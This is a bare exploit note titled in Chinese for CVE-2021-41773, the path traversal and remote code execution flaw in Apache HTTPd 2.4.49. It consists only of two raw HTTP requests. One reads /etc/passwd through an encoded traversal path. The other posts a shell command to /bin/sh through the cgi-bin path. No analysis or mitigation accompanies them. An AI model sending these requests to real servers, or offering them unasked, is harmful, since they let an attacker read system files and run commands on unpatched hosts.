CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越以及RCE漏洞

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx:8080
User-Agent: Mozilla/5.0 (X11; FreeBSD i386 6.73; rv:220.59) Gecko/20100101  Chrome/175.28 OPR/220.59;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 14 Oct 2021 06:00:45 GMT
If-None-Match: "29cd-5ce49cca73d40-gzip"
Cache-Control: max-age=0

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: xxx.xxx.xxx.xxx:8080
User-Agent: Mozilla/5.0 (X11; FreeBSD i386 6.73; rv:220.59) Gecko/20100101  Chrome/175.28 OPR/220.59;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 14 Oct 2021 06:00:45 GMT
If-None-Match: "29cd-5ce49cca73d40-gzip"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
 
echo;id